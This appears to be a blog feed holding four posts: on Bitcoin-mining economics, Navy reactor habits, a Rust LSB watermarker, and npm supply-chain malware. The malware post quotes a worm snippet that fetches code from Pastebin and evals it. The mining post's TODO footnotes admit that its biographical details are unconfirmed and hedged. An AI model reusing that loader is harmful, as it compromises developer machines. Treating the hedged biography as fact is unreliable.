<p>A modern Bitcoin mining facility is, structurally, a data center with one workload. Walls of ASICs in racks. Power coming in by the megawatt. Heat going out by every method physics allows. A network that exists only to push pool work and pull telemetry, because nobody is serving HTTP responses out of a hashboard.</p>
<p>The two things that matter, in order: the cost of the electron that arrives at the chip, and the cost of removing the heat afterward. Everything else — uptime, firmware, network design, even the hardware itself — orbits those two numbers.</p>
<p>The exact site I worked, the exact rig count, the exact MW of nameplate capacity — <code>TODO: Dax confirm specifics</code>. The lessons below are what I took with me. They generalised.</p>
<h2>Lesson 1: the unit economics are knowable to four decimal places</h2>
<p>Mining is the rare infrastructure business where a junior operator can compute the unit economics on a napkin. It goes like this:</p>
<ul>
<li>A given ASIC has a hashrate (TH/s) and a power draw (W).</li>
<li>Network difficulty determines, statistically, how much BTC a given amount of hashrate is going to produce per unit time.</li>
<li>The market determines the dollar value of that BTC.</li>
<li>Your power contract determines what an electron costs you.</li>
<li>The depreciation curve on the box determines how much you owe yourself per day for owning the box.</li>
<li>Subtract.</li>
</ul>
<p>That&#39;s it. Five inputs. The whole industry runs on a spreadsheet you can re-derive from first principles. Compare and contrast: SaaS gross margin, where the inputs are &quot;how much your AWS bill secretly was last quarter&quot; and &quot;what the CFO claims the COGS allocation is.&quot;</p>
<p>The first time I ran the math on a single rig, end-to-end, I felt a kind of clarity I have not felt about a software business since. <em>This is what &#39;good unit economics&#39; actually looks like, and most products you have ever shipped do not have them.</em></p>
<h2>Lesson 2: difficulty is gravity</h2>
<p>Every two weeks (more or less) the Bitcoin network adjusts difficulty to retarget block time at ten minutes. If hashrate has gone up — because someone stood up a new fleet, because someone got a better firmware tune, because a competitor finished a build-out — your share of the reward goes down. Mechanically. Without you doing anything wrong.</p>
<p>What this means in practice: the unit economics from the last paragraph have a built-in headwind that compounds. You are running on a treadmill that speeds up automatically. The only ways to win are (a) get cheaper power, (b) get more efficient chips, or (c) shorter holding period than your competition. There is no fourth option.</p>
<p>I think about this every time I see a SaaS company that thinks its margin is stable because the AWS price list hasn&#39;t changed. The AWS price list isn&#39;t your difficulty adjustment. <em>Your competition</em> is your difficulty adjustment. Every quarter someone smaller and hungrier ships a thing that makes your incremental customer slightly less willing to pay what your incremental customer paid two years ago. You have a difficulty adjustment. You&#39;re just not pricing it in.</p>
<h2>Lesson 3: heat is the actual problem</h2>
<p>If you&#39;ve never been in a room with several thousand ASICs in it: it&#39;s loud and it is the precise temperature your air conditioning lets it be, and not one degree cooler. The boxes do not care if the room is hot. The boxes care if the <em>junction temperature</em> on the chip exceeds spec, at which point the firmware downclocks and your hashrate drops, or worse, fails the chip outright.</p>
<p>The two ways out are air and immersion. Air is what you think it is — fans, baffles, careful airflow design, an HVAC plant you respect. Immersion is dunking the boards in dielectric fluid that pulls the heat off twenty times more efficiently, at the cost of all the operational complications you&#39;d expect from running electronics in a bath.</p>
<p>I will not pretend I made the architectural calls on which sites went air vs. immersion (<code>TODO: Dax confirm role specifics</code>). What I will say is that being adjacent to the decision for the first time was the moment I understood that infrastructure is not a software problem with hardware as an implementation detail. It is a <em>thermodynamics</em> problem with a software top layer. The data centers you and I run our cloud workloads on are exactly the same problem, just with someone else holding the bag for the cooling.</p>
<p>When I read a cloud provider&#39;s pricing page, I now read it through the heat. <em>This region is more expensive because the heat is more expensive to remove.</em> That is not a metaphor. That is the literal reason.</p>
<h2>Lesson 4: ASICs depreciate faster than you respect</h2>
<p>A new generation of ASICs comes out roughly every 12–18 months. Each generation is meaningfully more efficient (J/TH) than the last. The economics of the previous generation under current difficulty are, accordingly, worse than they were the day you bought it. Worse the day after that. Worse next quarter.</p>
<p>The right way to model an ASIC is not as an asset. It is as a slow-burning fuse. You bought a thing that produces revenue, and the revenue declines on a schedule that is not entirely under your control. The question is not &quot;is this rig profitable today.&quot; The question is &quot;is this rig going to pay back its capex before the depreciation curve crosses the operating cost.&quot;</p>
<p>Most cloud infrastructure quietly works the same way. The instance type you bought your reservation on is going to be deprecated. The CPU generation you pinned is going to underperform the new one. The vendor lock-in you picked up to save engineering hours is a slow-burning fuse with a duration measured in CTO turnover. <em>Plan for it.</em></p>
<p>If I have one piece of cloud-architecture advice I credit Foundry for, it&#39;s this: the day you sign a multi-year reservation is the day you should put a calendar reminder in for &quot;how do I get out of this contract&quot; eighteen months hence. Mining taught me. The treadmill always speeds up.</p>
<h2>Lesson 5: the operator is the hero</h2>
<p>In a mining facility, the operations team is not a cost center the engineering team tolerates. They <em>are</em> the team. The site is profitable because of them. Your firmware tune, your network design, your chip generation — none of it matters if the on-call doesn&#39;t catch a transformer fault before it takes the substation down for six hours.</p>
<p>I have carried this view into every software org since. A platform engineer is not &quot;supporting&quot; the product engineers — they are the multiplier on every product engineer. A site reliability engineer is not &quot;fixing problems&quot; — they are <em>creating</em> the conditions under which problems are recoverable. The mining-site mental model is: the operator is the hero of the story, the engineer is the supporting cast. Most software cultures invert that. Most software cultures are wrong about it.</p>
<h2>What it means now</h2>
<p>I think about all of this almost every day at Zera Labs. When we set up the <a href="/blog/zera_sdk_test_suite/">Surfpool devnet on a Latitude box</a> — a single physical machine that mirrors mainnet for our entire dev team — I priced the math the way you price a mining site. Power-equivalent (the box&#39;s monthly cost) vs. throughput (devs unblocked) vs. depreciation (how long until we want to replace this with the next generation). Three numbers. No vibes. The same five-input spreadsheet, just with hashrate replaced by &quot;developer hours saved per RPC call.&quot;</p>
<p>Then I went back to writing software. But I never stopped thinking like an operator.</p>
<p>If your engineering org has never had a person on it who has been in a room with several megawatts of compute they were personally responsible for, hire one. They will be quieter than your loudest senior engineer and they will save you a small fortune.</p>
<h2>Footnotes for Dax</h2>
<ul>
<li><code>TODO: confirm exact role title at Foundry</code> — the framing above intentionally hedges between &quot;operations&quot; and &quot;engineering&quot; because the public record doesn&#39;t pin it.</li>
<li><code>TODO: confirm dates</code>. The post is generic enough to survive any month.</li>
<li><code>TODO: confirm whether to name a specific site</code>. I left it abstract.</li>
<li><code>TODO: confirm rig count / MW</code> if you want to add one specific number to ground the story. The post works without it.</li>
</ul>
<h2>Further reading</h2>
<ul>
<li><a href="/blog/nuclear_reactors_taught_me_to_ship/">Nuclear reactors taught me to ship software</a> — the previous chapter, where the discipline came from.</li>
<li><a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a> — the chapter after this one. (Forthcoming.)</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Nuclear reactors taught me to ship software]]></title>
  <id>https://blog.skill-issue.dev/blog/nuclear_reactors_taught_me_to_ship/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/nuclear_reactors_taught_me_to_ship/"/>
  <published>2024-09-15T08:00:00.000Z</published>
  <updated>2024-09-15T08:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="career"/>
  <category term="navy"/>
  <category term="narrative"/>
  <category term="engineering-culture"/>
  <category term="on-call"/>
  <category term="discipline"/>
  <summary type="html"><![CDATA[Watchstanding, casualty drills, and pre-task briefs map onto code review, on-call, and disaster recovery more cleanly than any management book I have ever read.]]></summary>
  <content type="html"><![CDATA[<p>Before I had a GitHub graph I had a watchstation. I came up as an Electronics Technician (Nuclear) in the US Navy — six-and-change years of reactor instrumentation, control circuitry, and the kind of standing-around-staring-at-a-panel that looks like nothing right up until the moment it isn&#39;t. I won&#39;t talk about specific platforms or specific hulls. I will talk about the habits, because the habits are the part that travels.</p>
<p>The thesis of this post is short: every meaningful engineering practice I have at thirty-something — code review, on-call rotations, post-mortems, the way I write a runbook — was already drilled into me by the time I was twenty. I just didn&#39;t know yet that &quot;Naval Reactors&quot; was preparing me to be a senior IC and, eventually, a CEO.</p>
<p>Here is what actually transferred.</p>
<h2>Watchstanding is on-call with consequences</h2>
<p>When you stand a reactor watch you are not &quot;available.&quot; You are <em>on the watch</em>. You have a logbook, a panel of indications, a procedure binder with tabs you can find in the dark, and a relief schedule that has nothing to do with how tired you are. The handoff is formal: every relevant indication, every plant evolution in progress, every ongoing concern, every casualty in your rear-view mirror that the next watch needs to know about. You sign for it. They sign for it. Now they have it.</p>
<p>When I started doing software incident response, I noticed how <em>informal</em> the handoff was. &quot;Hey, anything weird tonight?&quot; &quot;Eh, the deploy was fine, see you Monday.&quot; This is insane. A modern production system has more state than the secondary plant of a submarine. Where is the watchstanders&#39; log? Where is the formal turnover?</p>
<p>Some of the best engineering teams I&#39;ve worked with have a chat-channel pinned message that gets edited every shift: <em>current state of staging, current state of prod, anything in flight, anything degraded.</em> It is, structurally, the same artifact as a watchstander&#39;s log. It exists for the same reason: the next person who has to make a decision should not have to reconstruct context from Slack scrollback.</p>
<p>If you take one habit out of this post: keep a turnover log. Write it for the human who will read it at 3am with one eye open. That human is sometimes future-you.</p>
<h2>Pre-task briefs are code review</h2>
<p>There is a Navy ritual called a <em>pre-task brief</em>. Before a non-trivial evolution — pulling a primary sample, swapping a controller card, anything where a slip can scram the plant — you brief. The team gathers, the lead walks the procedure step by step, every person says back what their role is, and the off-nominal cases get explicit attention.</p>
<p>The first time I sat through a &quot;design review&quot; in the software industry I thought I was being trolled. Someone was presenting a design doc. People were nodding. Nobody was <em>saying back</em> their role. Nobody was naming the failure mode they personally would be responsible for catching. There was no &quot;what would we do if this rolled back at 30% deploy.&quot;</p>
<p>A good code review is a pre-task brief in slow motion. The author walks the procedure (the diff). The reviewers say back what the change does (the description). And — this is the part most teams skip — someone explicitly owns the rollback case. <em>If this breaks production at 0200, who picks up the page, and what is the first thing they do?</em> If you can&#39;t answer, the change is not ready to merge. Doesn&#39;t matter how clean the code is.</p>
<p>When I&#39;m on a team that has stopped doing pre-task briefs, you can feel it. Deploys go out with vibes attached. Three deploys later, somebody discovers a regression nobody can name the source of. <em>That&#39;s</em> the cost of skipping the brief.</p>
<h2>Casualty drills make muscle memory cheap</h2>
<p>The Navy reactor world drills <em>constantly</em>. Steam-rupture drill. Loss-of-cooling drill. Fire-in-machinery-spaces drill. Scram drill from every state the plant is allowed to be in, plus a few it isn&#39;t. The point is not to surprise you; the point is the opposite. The point is for the response to be so deeply baked in that the surprise of the real event doesn&#39;t get to consume any of your cognition. You don&#39;t need cognition for the response — you have it. You need cognition for the <em>anomaly</em>, the part of the casualty that the drill didn&#39;t cover.</p>
<p>In software we call this game day, chaos engineering, fire drill. We do it badly. Most teams do it never. The teams that do it well (Netflix&#39;s monkeys, the Stripe game-day playbook, the GCP/AWS internal exercises that occasionally leak out as conference talks) discover that the drills are not really about the failures they simulate. They are about the <em>coordination friction</em> the drills surface. The deploy script that nobody on call has run in six months. The dashboard nobody knows the URL of at 4am. The runbook that says &quot;page Steve&quot; and Steve left the company in February.</p>
<p>If you&#39;ve never done a drill in your software career, do one. Start small. Pick a Tuesday afternoon. Kill staging. Watch what happens. The first drill always exposes something embarrassing. That&#39;s the entire point. The reactor world figured this out three generations ago.</p>
<h2>After-action review is the post-mortem the right way around</h2>
<p>Naval Reactors does an <em>after-action review</em> on every casualty drill and every real event. The format is unromantic. What did we expect to happen? What actually happened? Where did our model of the plant diverge from the plant? What changes do we make so that, the next time the plant does that, we are not surprised in the same way?</p>
<p>Notice what isn&#39;t on that list: blame. Notice what <em>is</em> on it: a working theory of why your model of the system was wrong, and a delta you commit to before the meeting ends.</p>
<p>The blameless post-mortem culture you&#39;ve read about in Etsy and Google blog posts is not new. It&#39;s old. The reactor world has been running it since before I was born, because in a reactor world <em>blame is operationally useless</em>: the next watch is going to be staffed by the same humans, and humans don&#39;t get less human under blame, they just get worse at reporting things. The Navy figured out that you have to make it cheap to admit you got something wrong, or the reports stop, and when the reports stop, the system goes blind.</p>
<p>I&#39;m proud of every team I&#39;ve been on that runs honest post-mortems. I am extremely suspicious of any team that does not.</p>
<h2>Procedure-in-hand is just <code>runbook.md</code></h2>
<p>You don&#39;t operate the plant from memory. You operate it from a procedure, and the procedure is an artifact you can hand someone. If a step in the procedure is wrong, you don&#39;t quietly do the right thing — you stop, you flag it, and you change the procedure. The procedure is the source of truth, not the human currently executing it.</p>
<p>When I joined my first software shop, I remember being baffled that production-deploy steps lived in the heads of two senior engineers. There was no <code>deploy.md</code>. The whole thing was tribal. I took the meeting where one of them deployed prod, took notes in real time, made a markdown file, opened a PR, and titled it &quot;deploy.md (first draft, please correct anything I got wrong).&quot; The reception was &quot;huh, that&#39;s a good idea, why didn&#39;t we have one of these.&quot;</p>
<p>A runbook is a procedure. Treat it the way the reactor world treats procedures: it&#39;s the source of truth; if it&#39;s wrong, you fix the procedure, not the operator. The day after an incident, the diff to your runbooks should be visible. If it isn&#39;t, you didn&#39;t actually learn anything from the incident.</p>
<h2>The sea story I&#39;m allowed to tell</h2>
<p>Here is one I can share. Mid-watch, deep in a long underway, an indication on a panel started doing a thing it wasn&#39;t supposed to do. Not dangerous — just wrong. Specifically, an analog gauge was reading a value that wasn&#39;t physically possible given the state of the plant.</p>
<p>Now: I was a junior tech. I had two options. (1) Convince myself the gauge was probably fine, finish my watch, go to bed. (2) Wake up the senior watch, who was already short on sleep, to look at a gauge that was probably broken.</p>
<p>I picked (2). The senior watch came down, looked at the gauge, looked at the related indications on the rest of the panel, ran one cross-check, and identified the actual problem in under three minutes — which was, as suspected, a failed transducer rather than anything dramatic. Then he went back to bed.</p>
<p>What I remember most is what he said on his way out: <em>&quot;Always wake me up. The gauge being wrong is fine. The gauge being wrong and you not telling me is not fine.&quot;</em></p>
<p>That has become how I think about engineering escalation. The cost of false alarms is small. The cost of an alarm that should have happened and didn&#39;t is enormous. Every senior engineer I now mentor gets some version of that lecture. Always page. Always escalate. The gauge being wrong is fine. Nobody knowing the gauge is wrong is not fine.</p>
<h2>Why I&#39;m writing this in 2024</h2>
<p>I&#39;m writing this between the <a href="/blog/rusty_pipes/">Rusty Pipes posts</a> and whatever comes next, because every interview I do for senior-and-above engineering roles eventually arrives at the same question: <em>what makes you you?</em></p>
<p>The honest answer is: a Navy reactor compartment. Long before I learned <code>git rebase</code>, I learned that a panel does not lie, that a procedure is a contract with the future, and that the most dangerous person on a watchstation is the one who thinks the indications are probably fine.</p>
<p>If you ever wonder why I write the way I write, why my code reviews look the way they look, why my on-call instincts default to &quot;wake me up, I&#39;d rather lose sleep than lose data&quot; — that&#39;s why. I keep a watch. The plant just looks like Postgres now.</p>
<h2>Further reading</h2>
<ul>
<li><a href="/blog/rusty_pipes/">Rusty Pipes</a> — the supply-chain research that came out of the discipline this post is about.</li>
<li><a href="/blog/what_running_a_bitcoin_mine_taught_me/">What running a Bitcoin mine taught me about cloud margins</a> — the next chapter in the same arc, where the reactor habits met an ASIC fleet.</li>
<li><em>On Watch: Profiles from the National Security Council&#39;s Situation Room</em> — Bromund. Closest thing in print to the watchstander mindset I&#39;m describing.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[process-thing: An LSB Watermarker for upload-thing, Written in Rust via Neon]]></title>
  <id>https://blog.skill-issue.dev/blog/process_thing_lsb_watermark/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/process_thing_lsb_watermark/"/>
  <published>2024-09-08T15:42:38.000Z</published>
  <updated>2024-09-08T15:44:16.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="rust"/>
  <category term="neon"/>
  <category term="npm"/>
  <category term="steganography"/>
  <category term="watermarking"/>
  <category term="side-quest"/>
  <category term="image-processing"/>
  <summary type="html"><![CDATA[A Rust npm package that embeds invisible watermarks in the least significant bit of every red channel pixel. Built for upload-thing image preprocessing. Cross-compiled for 7 platforms. The README is one paragraph.]]></summary>
  <content type="html"><![CDATA[<p>There&#39;s a class of side-quest where the project is half &quot;I want to learn this thing&quot; and half &quot;I have a vague product idea.&quot; <code>process-thing</code> was both: I wanted to learn neon-rs (Rust → Node.js native modules) properly, and I wanted to know whether <a href="https://uploadthing.com/">upload-thing</a> — the dominant React file-upload SaaS in 2024 — had a clean preprocessing hook I could plug a Rust binary into.</p>
<p>The answer to both questions is &quot;yes.&quot; <a href="https://github.com/Dax911/process-thing"><code>process-thing</code></a> shipped on 2024-09-08 in three commits: <a href="https://github.com/Dax911/process-thing/commit/4ba9cfa"><code>4ba9cfa — :tada: Init</code></a>, <a href="https://github.com/Dax911/process-thing/commit/3e26703"><code>3e26703 — :rocket: Try htis</code></a>, and <a href="https://github.com/Dax911/process-thing/commit/e2187b1"><code>e2187b1 — :clown_face: Lock file</code></a>. Three commits, ~1500 lines of Rust + scaffolding, seven cross-compiled platforms, one steganographic watermarker.</p>
<p>This post is what I learned about LSB watermarking, neon-rs, and shipping a Rust crate as an npm package in the same afternoon.</p>
<h2>What is LSB watermarking</h2>
<p>The least-significant-bit (LSB) of an 8-bit color channel is the difference between <code>0xAB</code> and <code>0xAA</code>. Mathematically, that&#39;s a difference of one out of 255 — about 0.4%. Visually, that&#39;s invisible. The human eye cannot distinguish a pixel with a red value of 170 from a pixel with a red value of 171, especially when the surrounding pixels are noisy.</p>
<p>So you have a free bit of bandwidth in every pixel of every uploaded image. You can carry data in it. The data is <em>not encrypted</em> and <em>not robust to recompression</em> — anyone who knows the scheme can decode it, and a single round-trip through a JPEG encoder will obliterate it. But for &quot;did this image originate from my service&quot; or &quot;what userId uploaded this,&quot; the LSB channel is both invisible to the end user and trivial to read back.</p>
<p>Hence the entire watermark embedder, in 50 lines of Rust:</p>
<pre><code class="language-rust">fn embed_watermark(mut cx: FunctionContext) -&gt; JsResult&lt;JsString&gt; {
    let base64_image = cx.argument::&lt;JsString&gt;(0)?.value(&amp;mut cx);
    let watermark = cx.argument::&lt;JsString&gt;(1)?.value(&amp;mut cx);

    let image_data = general_purpose::STANDARD
        .decode(base64_image)
        .or_else(|_| cx.throw_error(&quot;Invalid base64 image data&quot;))?;

    let mut img = image::load_from_memory(&amp;image_data)
        .or_else(|_| cx.throw_error(&quot;Failed to load image&quot;))?;

    // Convert watermark to binary
    let binary_watermark: Vec&lt;u8&gt; = watermark.bytes()
        .flat_map(|byte| (0..8).rev().map(move |i| (byte &gt;&gt; i) &amp; 1))
        .collect();

    let (width, height) = img.dimensions();
    let mut watermark_index = 0;

    for y in 0..height {
        for x in 0..width {
            let mut pixel = img.get_pixel(x, y);

            if watermark_index &lt; binary_watermark.len() {
                pixel[0] = (pixel[0] &amp; 0xFE) | binary_watermark[watermark_index];
                watermark_index += 1;
            } else {
                watermark_index = 0;
            }

            img.put_pixel(x, y, pixel);
        }
    }

    let buffer = img.to_rgba8().to_vec();
    let base64_output = general_purpose::STANDARD.encode(buffer);
    Ok(cx.string(base64_output))
}
</code></pre>
<p>The interesting bits, line-by-line:</p>
<ul>
<li><strong>Binary expansion of the watermark.</strong> Each char of the watermark string becomes 8 bits via <code>(0..8).rev().map(|i| (byte &gt;&gt; i) &amp; 1)</code>. This is just bit-twiddling, but the <code>.rev()</code> is load-bearing — you need most-significant-bit first so that the embedded data is read back in the same order.</li>
<li><strong><code>pixel[0] &amp; 0xFE | bit</code>.</strong> This is the meat. <code>&amp; 0xFE</code> zeros the LSB; <code>| bit</code> sets it to whatever the watermark bit is. Three machine instructions per pixel.</li>
<li><strong><code>watermark_index = 0</code></strong> when you run out of watermark bits. The watermark <em>repeats</em> across the image. A 1280×720 image gives you 921,600 bits of carrier capacity in the red channel alone; a &quot;userid:abc123&quot; watermark is 88 bits. So the watermark gets embedded ~10,000 times in a single image. That redundancy is exactly what you want when JPEG recompression is going to clobber random pixels — even if 99% of the embedded copies are destroyed, the message is recoverable from the 1% that survive.</li>
</ul>
<h2>Why only the red channel</h2>
<p>You could embed in red, green, <em>and</em> blue and triple your carrier capacity. The reason I only embedded in red is that the human eye is most sensitive to green and least sensitive to blue, but <strong>red sits in the middle</strong>, and using the red channel alone halves the chance of an artist noticing the watermark in a high-saturation gradient.</p>
<p>This is a bullshit reason. The real reason is that the diff was 4 lines shorter and I was trying to ship in an afternoon.</p>
<h2>Neon as the bridge</h2>
<p>The Neon (rust → node.js) glue is a single attribute and a function pointer:</p>
<pre><code class="language-rust">#[neon::main]
fn main(mut cx: ModuleContext) -&gt; NeonResult&lt;()&gt; {
    cx.export_function(&quot;embedWatermark&quot;, embed_watermark)?;
    Ok(())
}
</code></pre>
<p><code>#[neon::main]</code> produces a <code>napi_register_module</code> symbol that Node looks up when it loads the <code>.node</code> file. <code>cx.export_function</code> registers <code>embedWatermark</code> as a JS-callable name. From JS:</p>
<pre><code class="language-ts">const { embedWatermark } = require(&quot;process-thing&quot;);
const watermarked = embedWatermark(base64Image, &quot;userid:abc123&quot;);
</code></pre>
<p>That&#39;s the entire surface area. No async (LSB embedding is fast — about 6ms for a 1280×720 PNG on M1), no streams, no buffers. Just <code>String → String → String</code>.</p>
<h2>Why base64 strings on both sides</h2>
<p>Neon supports passing Buffers directly, which would be more efficient — no base64 encode/decode tax. The reason I went with base64 is that <code>process-thing</code> was specifically meant to be plugged into upload-thing&#39;s preprocessing hook, and the upload-thing API layer at the time worked in base64-encoded data URIs natively. Converting to a <code>Buffer</code> would have meant doing the conversion inside the JS wrapper anyway.</p>
<p>This is a small lesson but a real one: <strong>if you&#39;re shipping a native module, optimize the API for the framework that will actually consume it, not for theoretical throughput.</strong> A 4ms base64 encode tax is invisible in the context of a file upload that&#39;s measured in hundreds of ms anyway.</p>
<h2>Cross-compilation: the 30% of the project that took 70% of the time</h2>
<p>Look at the directory layout the init commit introduced:</p>
<pre><code>platforms/
  android-arm-eabi/
  darwin-arm64/
  darwin-x64/
  linux-arm-gnueabihf/
  linux-x64-gnu/
  win32-arm64-msvc/
  win32-x64-msvc/
</code></pre>
<p>Seven platforms. Each one is a separate npm package — <code>@process-thing/darwin-arm64</code>, <code>@process-thing/win32-x64-msvc</code>, etc. — that contains exactly one prebuilt <code>.node</code> binary. The root <code>process-thing</code> package depends on all of them as <code>optionalDependencies</code>, and at install time npm picks the right one for the host platform.</p>
<p>This is the <a href="https://napi.rs/"><code>napi-rs</code></a> idiomatic layout, and Neon supports the same pattern. The reason it exists: <strong>users do not want to compile Rust at install time.</strong> If your <code>npm install process-thing</code> command spawned a <code>cargo build --release</code> step, you&#39;d have a bug report from every Windows user who didn&#39;t have the MSVC toolchain installed. The right answer is to prebuild on every supported triple in CI and ship the binary.</p>
<p>GitHub Actions for the build is what <code>.github/workflows/build.yml</code> does — 137 lines of YAML to run <code>cargo build</code> once per target, package the result, upload to npm under the right scoped name. The actual Rust code is 50 lines; the <em>infrastructure to ship</em> the Rust code is 800.</p>
<p>This ratio is why I think most &quot;let&#39;s rewrite this in Rust for Node&quot; tasks die in CI. The code is easy. The supply chain is the project.</p>
<h2>What this taught me</h2>
<p>There&#39;s a particular shape of Rust side-quest that I find myself starting and finishing in afternoons: a thin Rust crate that does one CPU-intensive thing, exposed to JS via Neon, with a CI matrix that ships prebuilds. Image preprocessing is the canonical example. Hashing is another. Compression. Format conversion. Anything where the JS-native equivalent is <code>pure-js-image-decoder</code> and clocks in at 50× slower.</p>
<p><code>process-thing</code> was the first time I built that template properly. I&#39;ve reused the template several times since — including, eventually, in the <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> where the same <code>crates/&lt;name&gt;/</code> + <code>platforms/&lt;triple&gt;/</code> layout shows up to expose Rust crypto to TypeScript. The architectural muscle memory came from this 1500-line shitpost about embedding invisible userIds in cat pictures.</p>
<h2>Trade-offs and limitations</h2>
<p><strong>LSB watermarks don&#39;t survive JPEG recompression.</strong> If your upload pipeline transcodes to JPEG before storage, this scheme is dead on arrival. For PNG-pinned pipelines (or service-side WebP at lossless settings), it survives.</p>
<p><strong>LSB watermarks aren&#39;t crypto.</strong> Anyone who knows the scheme can read the bits back. If you need <em>integrity</em> against a determined adversary, you need a HMAC, not a watermark. If you just need attribution against a casual screenshot-and-repost, LSB is fine.</p>
<p><strong>Neon vs. napi-rs.</strong> I picked Neon because the <code>#[neon::main]</code> macro was the simplest entry point for a single-function crate. For more complex modules with many functions, async, or class-style exports, napi-rs&#39;s derive macros are nicer. Neon is fine for &quot;one function, no async.&quot;</p>
<p><strong>Why image-rs instead of a hand-rolled PNG parser?</strong> Because <a href="https://crates.io/crates/image"><code>image</code></a> supports JPEG, PNG, WebP, GIF, BMP, and more from one API and is well-maintained. The LSB embedding is format-agnostic; the format-specific decode is the part that&#39;s actually hard.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/process-thing">process-thing on GitHub</a> — the source.</li>
<li><a href="https://neon-bindings.com/">Neon bindings docs</a> — the rust→node glue.</li>
<li><a href="https://napi.rs/">napi-rs</a> — alternative, more featureful.</li>
<li><a href="https://crates.io/crates/image">The <code>image</code> crate</a> — does the format-decode heavy lifting.</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK day one</a> — where the same Rust-crate-+-platform-prebuilds template ended up paying off for real.</li>
<li><a href="/blog/rusty_pipes/">Rusty Pipes: building supply-chain malware for npm</a> — the post-mortem about how npm&#39;s prebuild distribution model is also the supply chain you have to defend.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Rust in Peace: How to Hijack Node.js with a Single Require]]></title>
  <id>https://blog.skill-issue.dev/blog/rusty_pipes_building_supply_chain_malware_for_npm/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/rusty_pipes_building_supply_chain_malware_for_npm/"/>
  <published>2024-08-17T19:03:29.188Z</published>
  <updated>2024-08-17T19:03:29.188Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="malware"/>
  <category term="npm"/>
  <category term="rust"/>
  <category term="supply chain"/>
  <category term="exploit"/>
  <category term="security"/>
  <category term="vulnerability"/>
  <category term="npm publish"/>
  <category term="npm packages"/>
  <category term="rusty pipes"/>
  <category term="npm ecosystem"/>
  <category term="trust"/>
  <category term="hacking"/>
  <category term="neon"/>
  <summary type="html"><![CDATA[Discover how to exploit the Node.js ecosystem with Rust-based supply chain malware. Learn about the vulnerabilities in npm packages and how a single require line can compromise JavaScript projects. Explore security measures to prevent such attacks.]]></summary>
  <content type="html"><![CDATA[<h2>Rusty Pipes: Building Supply Chain Malware for NPM</h2>
<p>This is another entry in my <a href="/series/Rusty%20Pipes">Rusty Pipes</a> series.  Its a very simple idea, injecting malware directly into the JavaScript ecosystem using rust. Turns out it is much easier than I ever expected. The entire ecosystem we use to build web applications is built on a trustful model. Where anything can be published or run with no checks by the ecosystem which makes it a ripe playground for supply chain attacks. Let me be clear as a React and Node developer by trade I want to give credit where it is due. It is amazing to see that the internet is basically built entirely on the <code>trust me bro</code> attitude of so many good faith actors. It truly is a testament to the open source community, developers, and companies that make our jobs so interesting and fun.</p>
<h3>Understanding the Threat</h3>
<p>Supply chain attacks have taken many forms, including dependency confusion attacks, spearheading malicious code backdoors in open-source packages, and compromising build pipeline infrastructure. These attacks often rely on the trust developers place in third-party packages and the complexity of dependencies within the NPM ecosystem. At last estimation, installing an average npm package adds 79 third-party packages and 39 maintainers, which is assumed that we implicitly trust, this creates a huge attack surface.</p>
<h4>Building the Malware</h4>
<p>In the past we have seen worm attacks like the <a href="https://github.com/eslint/eslint-scope/issues/39">Fluke</a> which have been small scripts that introduce malicious code to npm packages and attempts to spread. These kinds of attacks are pretty simple, but effective methods to spread malware. Here is an example of that code:</p>
<pre><code class="language-javascript">try {
  var https = require(&#39;https&#39;);
  https.get({
    hostname: &#39;pastebin.com&#39;,
    path: &#39;/raw/XLeVP82h&#39;,
    headers: {
      &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0&#39;,
      &#39;Accept&#39;: &#39;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&#39;
    }
  }, response =&gt; {
    response.setEncoding(&#39;utf8&#39;);
    response.on(&#39;data&#39;, contents =&gt; {
      eval(contents);
    });
    response.on(&#39;error&#39;, () =&gt; {});
  }).on(&#39;error&#39;, () =&gt; {});
} catch (err) {}
</code></pre>
<p>This script uses the <code>https</code> module to fetch malicious code from a Pastebin URL and then evaluates it using the <code>eval</code> function. This allows the malware to update itself by modifying the contents of the Pastebin URL.</p>
<h4>Spreading the Malware</h4>
<p>To spread the malware, most simple worms try to leverage the NPM ecosystem&#39;s reliance on package dependencies. It does this by creating a malicious package that is designed to spread itself to other machines, instead my worm focuses on infecting already trusted packages and developers. It can be done by spreading through NPM or a drive by attack of your favorite developer at a conference or a malicious email. This a one size fits all way to corrupt a developer&#39;s Node.js runtime. Please note that this attack will not work on NixOS due to its Flakes ecosystem. (#NixOS Mentioned)</p>
<h4>The How</h4>
<p>With the release of the <a href="https://neon-rs.dev/">Rust Neon Crate</a> we can write rust code that is undetectable and universally compatible with the node runtime and takes advantage of the trusted development environment on a developers machine. To be clear I am referring to the trust with which we run things like <code>npm dev</code> or <code>npm install</code>. We allow arbitrary code to be run on our machines out of the level of <code>trust me bro</code> we have in the Node ecosystem.  That&#39;s crazy to think about. In any other context even a fresh college grad would realize that arbitrarily running random code is a bad idea. Yet we do it every day, thousands of times a day across a single organization, even at a bank like USAA where I worked the node install is on the Windows VM (i know gross) would still persist across restarts and sessions.</p>
<h4>The Code</h4>
<p>This project is still in the research and development phase. It has been super fun to work with some truly gifted Rust developers like <a href="https://x.com/software4death">Sad</a> who have encouraged me at every step to push myself and learn Rust as a JS/TS developer. I will continue to update this blog series and will be releasing this project on Github soon<sup>TM</sup>.</p>
<p>To Stay Up-To-Date follow me on X <a href="https://x.com/dev_skill_issue">@dev_skill_issue</a></p>
<hr>
<h3>A Warning</h3>
<p>The creation of supply chain malware for NPM is a serious threat that requires immediate attention. By understanding the threat and implementing robust security practices, we can reduce the risk of supply chain attacks and protect our applications from malware. Remember, security is a collective responsibility, and it is up to us to ensure the integrity of the software we develop.</p>
<h3>References</h3>
